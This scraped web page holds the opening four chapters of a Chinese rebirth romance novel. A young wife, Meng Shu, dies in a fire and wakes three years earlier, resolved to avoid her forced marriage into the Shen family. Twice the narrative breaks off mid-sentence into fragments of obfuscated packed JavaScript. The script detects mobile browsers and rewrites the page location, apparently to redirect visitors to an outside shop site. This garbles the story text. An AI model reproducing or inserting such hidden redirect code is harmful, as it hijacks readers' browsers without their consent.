《弃鸾俦》 1. 第 1 章 听见几声低咳自西次间传来,雪兰端着水盆入屋的步子不由快了些。 见烛光下女子伏于书案前,披着一件薄袄,身形瘦削,神色憔悴,正提笔写着什么,她搁下铜盆,迟疑片刻道:“三奶奶,天晚了,你早些梳洗歇下吧。” 孟舒幽幽抬眸看来,“三爷还未回来吗?” 雪兰摇头,顿了顿道:“三爷向来公务繁忙,奶奶也知道,奶奶的口信,奴婢一早就命人送去了公廨,兴许爷……是一时抽不开身。” 孟舒颔首,神色平静,似是习以为常,又凝神看她半晌,问道:“雪兰,你今岁也有十七了吧?” “是。”雪兰答,“我是十四岁那年跟着奶奶的。” “家里人可有为你定一门亲事?”孟舒又问。 “不瞒奶奶,有的。”雪兰低下脑袋赧赧道,“有一位姨母家的表哥,也算与奴婢青梅竹马,前一阵托人带信来,说这些年做了些小营生,会尽快攒钱为奴婢赎身。” 见雪兰红了双颊,孟舒轻笑了一下,便知她与那表哥定是两情相悦。 真好。 她拉起雪兰的手,“你跟了我三年,也受累了三年,我这儿……你也知晓,不像旁的奶奶、太太那儿,难免要受些冷待,你却是无怨无悔……” 说着,她转身将桌上的一个木匣交给雪兰,“这里头的东西,你拿着,这些年旁的院里的人逢年过节都有主子私下赏赐,独你没有,今日我便一并补给你。” 虽不知里头是何物,但盒子在手上沉甸甸的,显然不是珠玉首饰便是黄白之物,雪兰听着这一席话,将匣子推回去,忽得眼眶便红了,“奴婢不要,奴婢能跟着三奶奶这样和善的主子,是奴婢的福气,又哪来受累一说,奶奶今日说什么补不补的,是就此不要雪兰了吗?” 孟舒张了张嘴,沉默片刻,“我不是不要你,兴许不久后,你就不必伺候我了。” 雪兰闻言大惊失色,她跪在地上,抓着孟舒的裙裾道:“三奶奶,奴婢知道,夫人走后,您心下悲恸,可就算如此,您也断断不能做傻事啊。” “傻丫头,胡说什么呢。”孟舒拉起她,苦笑道,“我只是……只是想着你到了年岁,不想你耽搁太久,想尽早放你出府罢了,怎的,不愿意?” 雪兰愣了一愣,又听孟舒道:“这匣子里的东西,你用来赎身应是足够了,剩下的便当是我给你的嫁妆,你尽管拿去,不必有所顾虑。” 她将匣子往雪兰手中一塞,旋即叹声道:“好了,你下去吧,我有些累了。” 雪兰挂着眼泪站了半晌,才茫然地福了福身,然退出去时,仍有些担忧地回首看了一眼。 听到屋门闭拢的声响,孟舒复又坐回书案前,缓缓抽出镇尺下的纸张。 纸面最右侧,赫然是“和离书”三个大字。 她面上无波无澜,只有些疲惫地靠在椅背上,阖眼,往事如潮水般扑涌而来。 四年前,因她娘日渐病重,寻医问药始终不见好转,她在多方打听之下,听闻京城一位名医可以独门针法治疗此疾,便毅然带着她娘北上,千回百转寻到了沈家门前。 她手握阿爷临终前给她綀囊,本欲以旧日交情请沈家出手相助,不想却意外牵出两家一桩三十多年前未履行的婚约。 是已故的沈家老爷子和她阿爷生前定下的。 沈老太太为完成老爷子遗愿,兑现这份承诺,意图将她许配给二房庶子沈拓。 谁料后来,却发生了一件谁也不曾预料到的事。 风吹开了虚掩的窗扇,凉意拂在孟舒的脸上,她睁开眼,却是一片寂寥悲凉。 若让旁人知晓,她一个孤女却主动要求和离,大抵要嘲她不知好歹。 分明她嫁的是不知被多少京城贵女们钦慕的儿郎。 沈家长房嫡次子沈筹,高门之后,自小便胸藏锦绣,卓尔不群,四岁可作诗,七岁可成文,素有神童之称,及冠之年便以一手书法名扬天下,二十二岁一举中第,成为大成开国以来最年轻的新科状元。 可偏偏那样一个如明月般高悬天际,遥不可及之人,却娶了她这般出生乡野,不通文墨的粗鄙女子为妻。 孟舒收了手上的和离书,明白沈筹今夜大抵是不会过来了,他向来将公事看得极重,她的事便是次要中的次要。 除却一个月多前,他和底下人一起替她寻找娘亲的踪迹,在无果后,又帮着她操办了娘亲的后事。 孟舒知道,那些不过是他在遵循刻在骨子里的礼数罢了,事了,在同她淡淡道了一声“节哀”后,他便又一头扎进了公廨中,几日不见人影。 她起身闭了窗,入了卧间,却瞥见搁在小榻上的针线筐子,筐子里是一件孩子衣裳。 孟舒拿起来,细细摩挲着上头的针脚,旋即将它捧在怀里,分明心如刀绞,却未落一滴眼泪,她的眼泪早已流干了,余下的唯有无尽的自责与懊悔。 是她害了她娘,若非她嫁进沈家三年,肚子迟迟没有动静,她娘又怎会在担忧焦急下上山去庙中替她求子,又怎会因马车失控,坠下悬崖,落得个尸骨无存的下场。 这世间唯一疼爱她,亦是她唯一在乎的人,也离她而去了。 她仔细叠好那小衣服,放在榻桌上,想着作为她娘的遗物,待她与沈筹和离后,便一道带走。 而今她已没有了留在沈家的理由,这里也从未真正接纳过她,而沈筹,也该娶一个更适合的妻子,与他门当户对,助他平步青云。 恰如那位苏家姑娘。 前几日,她去向婆母请安,听见三太太连氏正与她婆母说起前几日去赴宴时,那位苏姑娘羞红着脸盯着沈筹看得目不转睛。 她婆母闻言长叹一声,面露遗憾。 她听说过那位苏姑娘,其母是京城江家的嫡女,外祖父曾为内阁首辅,位高权重,苏姑娘虽几年前失怙,但她还有一位义父,正是而今朝中大权在握的阁老崔铮。 她不知道那位苏姑娘是何模样,何性情,也不会有机会见着,因那些达官显贵家的宴席从来与她无关,她婆母也并不带她前往,可她没想到,她的夫君也在那场宴席之上。 他不曾与她提起过。 倒也是,他向来不与她说自己的事。 三年夫妻,形同陌路,他表面不显,心下定也对她厌嫌至极,但这一切终于要结束了。 孟舒洗漱罢,在床榻上躺下。 明日或是后日,沈筹总会回来一趟,届时等他签下和离书,她便带着娘亲的棺椁回乡与爹爹合葬。 而后,寻一处平平静静地过完余生。 孟舒已在心下做好了打算,只是还未想好将来做什么活计以求温饱,她身无所长,不过这些年倒也看了些书,识了些字,药材也能认得七七八八,也不知那些药铺医馆会不会愿意雇用一个女子。 她在思忖间渐渐生了倦意。 也不知睡了多久,下腹传来的阵阵痛意令她苏醒过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423899|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 意识恢复些许的同时,一股呛人的烟味冲入鼻尖,抬首看去,几乎吞噬了整扇窗子的火光映照进她的眼眸里。 火势以不可控之势迅速蔓延,且正冲床榻的方向扑来,孟舒捂着下腹,疼得满头大汗,掀开衾被试图逃出去,却因剧痛,没走几步,骤然跌坐在地。 火光照亮了半个屋子,她清晰地看到身下被褥和她的白色襦裙上大片的鲜血,红得刺眼。 孟舒双眸微张,怔怔看了片刻,她懂些医理,不会傻傻得以为这是来了月信,算起来,她已近两个月不曾来癸水了。 因娘亲出事,她无心顾及这些,却绝想不到她娘上山替她求的愿望已悄然实现。 她将手颤巍巍地落在平坦的小腹上。 不止她娘,孟舒其实也一直想要个孩子,不是为了替沈筹绵延子嗣,而是想在这孤寂清冷,似乎熬不到头的深宅里寻一份寄托,多一分盼头。 可也在她决心离开沈家的这一晚,或是知道自己来得不是时候,这个孩子选择离她而去了。 她甚至并未意识到他的存在。 也好,也好,无论是男孩还是女孩,就算降生在世上,有她这样的娘亲,他注定在沈家为人耻笑。 孟舒像是欣慰般笑起来,可唇瓣却尝到了眼泪咸涩的滋味。 眼看着火舌吞噬床帐,再若藤蔓般飞快地攀上,占据整张拔步床,她没有喊也没有逃,她躺倒在冰冷的地面上,双目空洞,心如死灰,前所未有的疲惫感抽走了她所有的心力,令她再不想挣扎。 干脆到此为止吧,她想,娘亲走了,孩子没了,在这世上,她已一无所有。 她闭上眼,呛人的烟味令她咳嗽难喘,她在医书上看到过,许多死在火中的人大抵不是被烧死的,而是窒息而亡。 可那样也没什么不好,她太累了,希望她娘亲在下头走得慢些,好让她快点赶上,还有她爹、阿爷、阿奶,定会心疼又怜惜地迎她,和她腹中这个未曾出世的孩子…… 她终于可以在底下跟心心念念的家人团聚了。 意识渐渐模糊起来,她却是噙着笑,期待着这一刻的到来。 耳畔是噼里啪啦的火烧声响,灼热和呛人的烟尘包裹着她,不知不觉间,她坠入无边无际的黑暗中,她感觉到自己在走,不停地走,似乎走到尽头就能寻到自己想要的东西。 她在迷迷糊糊中再次睁开了眼。 清冷的月辉透过霜白帐幔洒落在床榻内,四下安安静静,甚至能听到外头传来的虫鸣声,孟舒隐隐看到身侧躺了一个人。 她不由皱眉,难道她没有死,她动了动身子,却觉使不上劲,甚至疼得倒吸了一口气,那并非小产后下腹的绞痛,而是头疼欲裂,昏昏沉沉,周身也酸疼异常。 就好像…… 孟舒隐约摸到手底压着什么,似乎是衣物,她努力拿起来,然借着朦胧的月光看清上头的绣花时,眸光震动。 雪青的布料上是一朵并蒂莲花。 孟舒永远都忘不了这件小衣,这件她原本很喜欢,后来却再不愿看见类似颜色和花纹的小衣。 眼睛适应了黑暗,她打量起四下,屋内格局摆设,与疏影轩有七八分像,而躺在她身侧的男人,这张脸,不是沈筹又是谁。 一股寒意陡然窜上,孟舒不知是不是她自我了断的举动惹怒了阎王,才让她遭了这样的罚,回到了这辈子最不想回忆的那一夜。 她被设计失身于沈筹的那一夜。 2. 第 2 章 孟舒甚至能清楚地想起接下来会发生什么。 东面耳房走水,府内打更的小厮发现火势后奔走呼救,引来不少仆婢。 沈筹身边的长随安福闯入屋内叫醒主子,她就是在那时候苏醒的。 她全然不知发生了什么,只发现自己正不着寸缕躺在沈筹身边,浑身疼得仿佛要散架,一抬首,便撞见那双冰冷探究的眼眸里,外头吵吵嚷嚷,一片大乱。 沈筹将凌乱丢在床下的衣裳扔给她,在发现她面色苍白,慌乱茫然地颤着手穿得极慢时,蹙眉扯过自己的长袄把她裹得严严实实,在众目睽睽之下,将她抱出了即将被火势蔓延到的疏影轩正房。 孟舒至今还记得,她被沈筹转抱到西厢的途中,周遭来来往往的家仆侍婢们投来的各色目光,或震惊,或鄙夷,或唾弃,或讥讽,他们分明没有说话,却好像在用眼神不断地唾骂她恬不知耻,龌龊虚荣。 那些目光不能杀人,但好似一柄柄冰冷的利刃,无情地剜着她的皮肉,令她痛不欲生却无法呼喊,亦避无可避,也令她在此后很长的岁月里,都不敢去直视旁人的眼睛,更是只消一回想起当时的情形,双手便忍不住微微发颤。 那样可怕的事她绝不想再经历一次。 看此刻外头安安静静,当是还未起火,她得逃,要尽快逃出去。 逃跑的这个念头充斥着孟舒的脑海,她试图起身,却浑身软绵绵使不上力气,她知晓自己定中了药,不然绝不可能糊里糊涂到了沈筹的床榻上,与他有了首尾。 她抬手毫不犹豫地在手臂上重重咬下,丝丝血腥气在口中泛开,疼痛使她清醒了些,她拖着无力的身子下了榻,轻手轻脚地拾起地上的衣裙仓促穿好。 孟舒看着明间的方向迟疑了片刻,知晓绝不能从正门出去,便是窗也不行,从屋内的几扇窗出去便是院子,若让人撞见,仍是功亏一篑。 正当她犹疑之际,就听屋外骤然响起一声惊呼。 “走水了!疏影轩走水了!” 孟舒愣了片刻,忙调转方向,她没有时间,因很快安福便会闯进来,她慌忙地在屋内寻找,末了,视线陡然落在北面靠墙处一人多高的红木镶螺钿衣橱上。 脚步声,叫喊声,屋外霎时喧嚣起来。 此时,拔步床上,沈筹幽幽睁开双眼,透过床帐,朦朦胧胧间便见一个熟悉的身影仓皇地打开橱门钻了进去。 橱门闭拢的一刻,屋门砰地被撞开,安福慌慌张张跑进来。 “三爷,您快起来,耳房走水了。” 沈筹揉着额头缓缓坐起身,嗓音清冷,“你先出去。” 安福张了张嘴,不明白这般情势下,主子缘何还能如此泰然。 耳房火烧得厉害,火势就快逼近,这会儿得赶紧逃命才是。 “三爷。”他还想再说,然见主子凌厉的目光投来,不由身子一僵,只得应声退了下去。 闭门声响过后,沈筹下了榻,疾步行至那衣橱前,一把推开橱门。 然衣橱内空无一人,只最底下露出一黑漆漆的暗格,大小可容一人,不知通往何处。 沈筹薄唇微抿,再回首看向床榻上若梅花般星星点点的落红和这屋内熟悉却又陌生的摆设时,眸光晦暗,面上神色复杂难辨。 那头,孟舒双腿发软,扶着墙壁在密道中跌跌撞撞走了一段后,爬上了尽头处一架遍布灰尘的矮梯,矮梯上是一个木门,她向上推了推,初时没能推动,咬着牙拼命一使劲,方才推了开来,待爬出去才发现自己到了一被杂草泥尘掩盖的荒僻之地。 她向前走了一段,环顾四下,认出这里是沈家后花园一角。 她长舒一口气,沈筹果然没有骗她,她记得沈筹曾无意同她提起过,起火修缮前的疏影轩里,有一密道,而入口就在原先卧间角落的螺钿衣橱内。 而今的沈宅是沈老爷子在世时先帝赐下的,原主听闻是一个前朝的大贪官,这密道或是在造屋时为藏匿金银财物或方便逃跑所留。 后疏影轩再行修缮时,沈筹出于安全考量命工匠封了这条密道。 不想再来一回,这条密道却确确实实救了她。 夜里凉,风吹在身上令孟舒不由得瑟缩起来,抱着双臂搂紧自己。 回首望去,不远处是疏影轩冲天的火光,一切像是做梦一般,她竟真的逃出来了。 再不必经历前世那噩梦般的事,承受无尽的流言蜚语。 若这一切是真的便好了。 孟舒苦笑了一下,旋即似是想起什么,双眼恢复了些许光彩,她死死盯着一个方向,原本无力的身子似乎又有了无穷的力气,踉踉跄跄支撑着双腿不停地往前走着,直到停在一小院前。 她推开院门,院内静悄悄的,她径直入了正房,往床榻的方向而去。 “皎皎,是你吗?”黑暗中,一个婉约温柔的嗓音响起。 听得这熟悉的嗓音,孟舒鼻尖一酸,几欲落下泪来,她咬唇强忍着,努力克制着嗓音中的颤意,答道:“是我,娘。” 她快步至床榻前,便见她娘已然摸索着坐起了身,双手向前探着,似想确认她的位置,孟舒一把握住了她的手。 “外头似有些吵闹,出何事了?”邱雁娘问道。 “没什么。”孟舒不想娘亲吓着,“听说是南院起了火,但幸得火势不大,这会儿应当已经扑灭了。” “这好端端的怎还起火了。”邱雁娘道,“可别有人受伤才好。” 孟舒不想谈论这些,她将脑袋靠在邱雁娘肩上,“娘,女儿今晚想同你一道睡。” “怎么,咱们皎皎害怕了。”邱雁娘笑着摸了摸她的头,“好,娘也许久不曾与你一起睡了。” 母女二人在床榻上躺下,孟舒像个孩子般依偎在娘亲怀里,嗅着她身上熟悉而温暖的气息,眼泪无声地自眼眶中滚落了下来。 适才她还觉得是阎王爷惩罚她,而今看,竟也待她不薄,不但让她逃过一劫,还让她在最后见到了最想见的人。 “娘今日睡得早,没等你,你是几时从四姑娘处回来的?” 孟舒愣了一下,才想起这一日恰好是二房嫡次女沈琏的及笄礼,孟舒受二太太王氏所邀前去观礼,晚饭也是在西院用的,而正是在回来的途中,她迷路遇到一位婢子,在被引至疏影轩附近时忽而失去了意识,再醒来便是在沈筹的床榻上。 然奇怪的是,纵然她说了此事,可无论怎么寻,府内都寻不到她所说的那个婢子,所有人都觉得她不过是在无中生有,自编自演。 “不到戌时便回了。”她低声道。 邱雁娘沉默片刻,“皎皎,老太太前几日同你说的事,你意下如何?” 孟舒知晓她娘问的是什么,就在她和沈筹出事前两日,沈老太太将她叫去寿昌阁,问她愿不愿意嫁给沈拓,还让她回去好生考虑几日再做答复。 孟舒默了默,反问:“娘觉得五爷好吗?” 邱雁娘思索半晌,如实道:“五爷与你同岁,虽无意于功名,但心性纯良率直,也无那些寻常纨绔眠花宿柳,呼卢喝雉的恶习,且……这大抵是你能寻到的最好的婚事了。” 她顿了顿,“皎皎,娘不知这辈子还能陪你多久,只盼着我家皎皎能寻得安身之处,娘就是死也放心了。” 听邱雁娘的嗓音逐渐哽咽起来,孟舒将娘亲搂得更紧了些。 她知道她娘是担心她。 她娘的眼疾是源于脑中病症,她忧心若治不好会随时撒手人寰,留她一人在世上,孤苦伶仃,无所依靠。 “娘,莫要胡说,季大夫也说了 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而事后,孟舒一时喊冤无果,选择忍气吞声,听从沈老太太安排嫁给沈筹,依然是因为她这个娘亲需得继续留在府中治病,可若她死了,她的女儿便不必再被束缚于此,受尽委屈。 那一日,孟舒捂着她娘被划开的伤口,抱着她娘坐在地上哭得泣不成声,道那些流言蜚语奈何不了她,但要是她娘没了,她也不会独活于世。 这话,后来倒真得了应验。 什么沈家,什么婚事,孟舒如今统统不在乎,既阎王爷恩赐她和她娘重聚的机会,她自得好好珍惜。 邱雁娘的呼吸逐渐均匀起来,孟舒借着床头的小灯又深深看了眼娘亲,才心满意足地跟着睡去。 翌日,日光透过窗子照在她脸上时,孟舒醒转过来,看了眼身侧的邱雁娘,又在屋内环视一圈,才发现自己并未去往阴曹地府。 她秀眉微蹙,起身坐在了不远处的妆台前。 缠枝牡丹雕花铜镜上,映照出一张略显稚嫩瘦削的脸,孟舒伸手抚上,这张脸微微发黄,皮肤粗糙,并不好看。 孟舒撩起袖口,手腕上赫然出现了一个清晰的牙印。 她因震惊呼吸不由凌乱起来。 难道昨夜发生之事并不是梦。 她竟真的回到了三年前! “皎皎。” 邱雁娘自床榻上坐起身,孟舒快步过去,坐在娘亲身侧。 不似昨夜屋内的昏暗,此时她娘亲右脸上狰狞可怖的长疤格外清晰。 这是当年她阿爷死后,她娘亲手用父亲送给她的木簪在脸上划下的。 她十岁那年,阿爷阿奶相继病逝,村里的叔伯欺负她们孤儿寡母,竟起了吃绝户的心思,意图逼她娘亲改嫁,再将她卖给大户人家做丫头,好光明正大霸占他家房屋田产。 她向来柔弱的娘为了保护她,决绝地用簪子划破了自己那张原本清丽的面容,发誓此生绝不再醮,眸光阴狠又血淋淋的模样吓退了那些叔伯,才勉强保住了阿爷留下的家财。 那些年,她活在娘的庇佑下长大,本想将来凭本事赚钱好生赡养娘亲,让她过上安生日子,可嫁进沈家三年,非但她被众人讥讽看低,连带着她娘也跟着受了不少连累,甚至于最后丢了性命。 她牢牢握住邱雁娘的手,眨眼间,任由眼泪滑落下来,“娘,女儿在呢。” 这一次,她要守着她的娘亲,绝不会让一切重蹈覆辙。 昨夜她及时逃出了疏影轩,便注定这一世不会再与沈筹有任何牵连。 他当也不会记得昨夜之事。 往后,他做他的状元郎,平步青云,仕途坦荡,迎娶心上人,得偿所愿。 而她则会带着她病愈的娘亲返乡,安闲度日,替她娘颐养天年。 至于前世三年,既两厢无情,不过怨偶,便只当是噩梦一场。 3. 第 3 章 昨夜匆匆忙忙也未在意,这会儿低头一看,孟舒才发现自己一身狼狈。 衣裙不但有被扯坏的痕迹,还沾染了不少泥土尘灰,幸得她娘亲看不见,不然她还不知作何解释。 听着院外似乎没什么动静,孟舒趁机道:“娘,我先回屋梳洗去了。” 她打开院门,快步回西厢换了一身衣裳,这才自院中的水缸里打了水,去耳房升了炉子准备烧水擦擦身。 水才烧上,就听门外一略有些慌乱的声儿响起,“姑娘,您快放着,奴婢来。” 一人快步入屋来,“姑娘怎起得这般早,可是要洗漱,这些活该由奴婢们做,您怎能亲自动手。” 孟舒看着眼前对她恭恭敬敬的小姑娘,只觉格外亲切,她记得前世她出事那日,她似乎并不在,“雪兰,你昨日不是告假回家去了吗,怎这么快便回来了。” “奴婢的爹没甚大碍,奴婢今儿一早就赶回来了。”雪兰边说,边将孟舒往外头赶,“姑娘快回屋去吧,一会儿奴婢和雪梅姐姐就将洗漱用的水和早饭给您和夫人送去。” “那便多谢你了。”孟舒犹豫片刻道,“能不能多给我送些热水来,我想……擦擦身子。” “是,奴婢明白了。” 孟舒走出耳房,便见另一个婢子打扮的迎面而来,看起来比雪兰年长几岁,那婢子见了她,仍是慢吞吞的,只敷衍地矮了矮身子,唤了声“姑娘”,正是雪兰口中的雪梅。 孟舒点了点头,走了几步就隐约听见身后雪梅颇有些不屑的声儿传来。 “大清早就要擦身子,可真金贵,乡下村姑真当自己是大家闺秀了。” 孟舒脚步微顿。 三年前,自她带着她娘来到沈家后,沈老太太便以礼相待,不但为她和她娘准备了一个小院子住下,还让管事挑了两个婢子过来伺候,便是雪兰和雪梅。 雪兰对她始终恭敬,后来她嫁给沈筹也跟着她去了疏影轩,而雪梅因她出身从来看她不上,便是干活也多是不情不愿的。 嫁给沈筹三年,孟舒看多了如雪梅这样的仆婢,就算她成了沈家三奶奶,可因不得大太太和沈筹这个夫君的喜欢,也依旧有不少下人捧高踩低,暗地里嘲讽讥笑,甚至有胆大的予她为难。 可往后不会有了,因她不需太久就能离开沈家,不会再与这个地方有太多牵扯。 孟舒扯唇自嘲地笑了笑,回了房,很快雪兰就将热水送了来,孟舒脱了衣裳,这才细细擦拭起身子,温热的巾帕顺着脖颈、胸前落到腰间、大腿根处,周身上下皆是触目惊心的指印红痕。 下头依然黏糊糊的极为不适,甚至有些红肿刺痛,可想昨夜那男人对她有多狠。 孟舒很清楚沈筹在那事上的不温柔,尤是前世后两年,他调至工部任职,每每出外办差回来,就常在床榻上反反复复将她折腾得筋疲力尽。 她很清楚,沈筹算不得重欲之人,毕竟两人新婚头一年,纵几乎夜夜同床共枕,他也只七八日甚至半月才来上一回,后来的改变,想是单纯为了让她这个正妻早些怀上孩子,为长房延续血脉。 想到孩子,孟舒心口一疼,闷得难受,她努力咽下这份酸涩,告诉自己没了就是没了,无论对她,还是对那个孩子,都未尝不是件好事。 擦洗罢,她同娘亲一道用了早饭,又回了自己的屋子,自柜中取出一物藏在怀中便往沈老太太的寿昌阁而去。 既做好了决定,有些事便要当机立断,不可拖拖沓沓,以防夜长梦多。 沈老太太的寿昌阁位于沈府东院,老太太慈厚,不苛求几个儿媳日日给她晨昏定省,侍奉膝下,只让三房太太们隔四五日去一趟。 孟舒被寿昌阁的下人领进去时,恰听见她那婆母,大太太陈氏的声音传来。 “虽火势救得还算及时,但夜间有风,风助火势,烧得实在太快,耳房烧塌了不说,就是正房也烧毁了半间。” “这屋子烧了便也烧了,人没事就好。”沈老太太道。 “儿媳也是这般想的,人平安无事便是大幸。”陈氏顿了顿,语气里带着几分担忧,“就是这火来得实在蹊跷,筹儿喜静,院里从来不留人值夜,也不知怎么就烧起来了……” 孟舒在门外站了片刻,攥了攥手心,方才提步踏进去。 沈老太太面色本有些凝重,见了她,却是舒展了眉眼,“舒丫头来了。” 看着坐在上首慈眉善目、身子康健的老妇人,孟舒颇有些感慨,前世她死前,沈老太太因沉疴难愈,身体每况愈下,缠绵病榻已久。 孟舒对沈老太太是极为感激的,不仅因她收容了她们母女,请来季大夫为她娘亲治病,还为她与沈筹成婚后,即便她遭受了那么多的非议,老太太仍待她很好,几度为她撑腰,不至于让她在明面上太过难堪。 “孙……孟舒见过老夫人。” 孟舒又一一向三位太太施礼。 沈老太太笑着拉过她的手关切了一番,才令她在一旁落座。 甫一坐下,孟舒便感受到四下有些意味深长的目光向她投来。 紧接着,她听见大太太陈氏笑道:“这瑶儿也及笄了,二弟妹可准备准备请媒人让她相看人家,若趁着年前定下亲事,正好给家中添添喜气。” 三太太连氏也道:“指不定到时候西院还不止一桩喜事,而是双喜临门呢。” 二太太王氏听得此言,莞尔一笑,“那再好不过。” 孟舒沉默不语,却明白她们的言外之意,沈老太太本就说好几日后让她过来答复,她今早出现,定然是为此事而来。 似乎所有人都觉得她不会拒绝与沈拓的婚事。 她朱唇微张,正欲说什么,就听一声清脆的“祖母”在院中骤然响起。 一十二三岁,杏眸桃腮,一张鹅蛋脸白皙圆润,笑起来格外讨喜的粉衣小姑娘拉着一人拂帘而入,其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17423901|200843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后又紧跟着两个年岁相仿的少女。 走在前面的少女下颌微扬,着银红绣花比甲,蓝缎裙,眉眼中带着几分傲气。 后头身形瘦长些,着水绿薄袄的,微垂眼眸,举止端庄淑雅。 正是大房的五姑娘沈瑶,二房的四姑娘沈琏及三房的五姑娘沈玥。 “冒冒失失的,也不晓得让人提前通报一声,就这般闯进来,让旁人瞧见了,还以为咱家没有规矩呢。”大太太陈氏蹙眉责道。 “今日到了知新斋,才知先生因病告假,女儿和姐姐们便想着过来拜见祖母,一时心急,这才忘了礼数,祖母向来慈和,又疼爱我们,自然不会计较这些。”沈瑶笑盈盈道。 沈老太太顿时弯了眉眼,“就你这丫头嘴甜,在家里便也罢了,在外头可断不能如此。” “是。”沈瑶应下,俏皮地同屋内人施礼,面向孟舒时,亦甜甜地唤了声“舒姐姐”。 孟舒怔怔颔首,听着这声唤,竟有种恍如隔世之感。 她都快忘了,在她嫁给沈筹前,沈瑶这个亲小姑也曾对她亲切,可后来,沈瑶看着她的眼神只剩下淡漠和厌恶,甚至连一声“大嫂”都不愿唤她。 究其缘由,大抵还是因为这位蒋姑娘。 孟舒将目光落在沈瑶身侧。 沈家三位姑娘施礼罢,被沈瑶拉进来的那位天青衣裙的姑娘这才缓缓上前,同沈家长辈们问安。 她容貌清丽若寒梅,气质淡雅如幽兰,通身书卷气,举手投足落落方方。 大太太陈氏笑着将蒋映薇叫到身边坐下,眉眼中流淌的慈爱温柔是孟舒从未见过的。 孟舒抿了抿唇,说不出是什么滋味。 虽说前世三年,她这婆母并不曾使那些腌臜手段,对她刻意磋磨惩戒,可孟舒却是能清晰地感受到陈氏对她的不喜,更常在言语间透露出对她淡淡的厌烦乃至于恨意。 那股恨意在沈筹从翰林院被调到工部任职后达到了顶点,陈氏当是觉得,就是她,毁了沈筹原该一帆风顺,节节高升的仕途。 在她心里,只有蒋映薇这样的女子,才堪与沈筹相配。 当然,并不只有陈氏这么认为,在她和沈筹那事未发生前,几乎整个京城都认为蒋映薇是沈筹未来的妻子。 蒋映薇是沈筹在国子监时的老师,即现礼部尚书兼文渊阁大学士蒋绍之女,素有咏絮之才,林下之风,无论是家世还是才学,两人的婚事堪称珠联璧合。 二太太王氏道:“大嫂刚还打趣我们西院有喜事,我瞧着南院也好事将近,趁此机会修葺一番刚好用作新房。” 陈氏面上笑意浓了几分,蒋映薇亦低垂下眼眸,做出羞赧之态。 整个厅堂其乐融融。 孟舒看着这一幕,亦勾唇笑了笑,没有失落,没有难过,有的不过轻松释然。 恰在此时,有婢子快步入内禀道。 “老太太,三爷来了。” 4. 第 4 章 孟舒闻言呼吸微滞,片刻后,便见一人缓步入屋,湛蓝云纹直?,丰神俊朗,如松如月,周身贵气浑然天成,他拱手在沈老太太跟前施了一礼。 “孙儿见过祖母。” “三哥儿来了。”沈老太太担忧道,“昨夜受惊了吧。” “无甚大碍,多谢祖母关怀。” “这好端端的,怎就起了火,底下人可有查出些许眉目,或是昨夜,你可曾听见什么动静?”沈老太太问道。 听得此言,坐在底下的孟舒骤然攥紧了掩在袖中的手,虽那时她并未听见沈筹苏醒的声响,但心跳仍因紧张不由得快了几分。 “尚在调查,不过耳房有炭炉,夜里温着水,火势由此而起也未可知。”沈筹道。 孟舒松了一口气,然听得这个回答,亦不由得秀眉微蹙。 因她记得疏影轩耳房起火的那日,根本没放什么炭炉,沈筹这般说,是为了安抚自己的祖母吗。 沈老太太闻言果然放心了些,但还是吩咐大太太陈氏道:“往后,叫方泰多安排些人夜里轮流巡逻,三哥儿眼下睡在慧德堂,让安福也搬过去,好随时喊得着人。” 陈氏颔首应是。 孟舒明白沈老太太为何如此小心谨慎,倒也不怪她如此,前世疏影轩这火,是为了暴露她在沈筹屋内一事,逼得沈筹不得不娶她,但这世她逃了,在老太太眼中,无端起火的缘由,就成了要夺取她这宝贝孙儿的性命。 沈老爷子辅佐了两朝君主,任首辅期间为百姓做了不少好事,为民敬仰,然生前最犯愁的便是沈家下一代青黄不接,三个儿子皆资质平平,无人堪当大任,继承他的衣钵。 直到沈筹的出生。 沈老太太和过世的沈老爷子一样,对沈筹这个孙儿寄予厚望,盼着他能光耀门楣,再现其祖父当年的荣光,自然不希望他有什么三长两短。 何况,沈筹八岁那年,就有游方术士预言他命中有煞,非长寿之相,恐活不过而立之年,如今突然起了这场火,沈老太太怎能不担忧。 沈筹又向母亲陈氏和两位叔母行了礼,才在陈氏的示意下,于蒋映薇身侧落座。 孟舒原只是默默看着,不料正与对面人那双清冷的眼眸相撞,慌乱间,她飞快垂下脑袋,但转而,她便懊悔自己不懂掩饰,怕这心虚的举动反惹得那人怀疑。 思至此,孟舒复又抬首,便见蒋映薇正微微偏过身子轻声与沈筹言语,沈筹则端坐在那儿,静静听着。 看着这一幕,孟舒扯了扯唇角,觉着自己实在有些自作多情了,除却昨夜那回,此时的她只与沈筹见过两次,这位风头正盛的状元郎对她这乡下农女应没有太大的印象。 她索性大大方方地看过去。 也不知蒋映薇说了些什么,沈筹露出些许浅笑,使他这本就清冷的气质都变得柔和了些。 郎才女貌,佳偶天成,任谁看都是一副赏心悦目的画面。 而一切本该如此。 这一回,没有她这个“恶人”从中作梗,蒋映薇不会为情所困,早早香消玉殒,情投意合的两人会喜结连理,终成一段佳话。 只是这般想着,孟舒心下就愈发轻松起来,好似卸落了一副副沉重的镣铐,得了自由般周身轻飘飘的畅快。 一炷香后,沈老太太蓦然对着沈瑶道:“这几日桂花开得正好,瑶儿,和你两个姐姐一起,带着你映薇姐姐去园子里坐坐。” 沈瑶起身称是,却又看向孟舒,“舒姐姐也一道去吧。” “你们且去顽。”沈老太太出声打断道,“我留你舒姐姐还有话说。” 